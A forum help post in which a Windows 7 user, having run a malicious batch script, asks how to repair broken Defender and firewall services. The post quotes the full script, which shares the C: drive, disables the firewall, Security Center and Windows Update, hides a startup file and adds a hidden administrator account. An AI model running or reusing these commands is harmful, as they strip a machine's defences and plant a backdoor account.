Jump to content

Featured Replies

Posted

I get errors upon starting windows defender and firewall

 

 

This error is entirely my fault, don't ask why but I ran a malicious code:

 

 

@echo off

Cls

net share system=C:\ /unlimited

cls

Attrib +r +h C:\windows\startm~1\program\startup\trojan.bat

Cls

net stop SharedAccess

net stop “Security Center”

>>”%Temp%.kill.reg” ECHO REGEDIT4

>>”%Temp%.kill.reg” ECHO.

>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess]

>>”%Temp%.kill.reg” ECHO “Start”=dword:004

>>”%Temp%.kill.reg” ECHO.

>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv]

>>”%Temp%.kill.reg” ECHO “Start”=dword:004

>>”%Temp%.kill.reg” ECHO.

>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsvc]

>>”%Temp%.kill.reg” ECHO “Start”=dword:004

>>”%Temp%.kill.reg” ECHO.

START /WAIT REGEDIT /S “%Temp%.kill.reg”

del “%Temp%.kill.reg”

del %0

cls

net user Admin /add

net localgroup Administrators /add “Admin”

cls

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v “Admin” /t REG_DWORD /d 00 /f

cls

reg add “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ Messenger” /v Start /t REG_DWORD /d 002 /f

cls

net start Messenger

cls

netsh firewall set opmode mode=disable

cls

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v “admin” /t REG_DWORD /d 00 /f”

REG add “HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V DISABLEREGISTRYTOOLS /T REG_DWORD /D 0 /F”

Cls

 

I have tried several approaches from other posts but I am still left with this problem.

 

I used troubleshooters from windows

 

antivirus software

 

Registry Repair

 

 

Many of the methods don't work for me because I always get "Bad Image: This program is not des....." errors which go a long while back. I also tried repairing those but nothing.

 

 

I am running Windows 7 Ultimate.

 

 

Any help is appreciated!

 

Continue reading...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...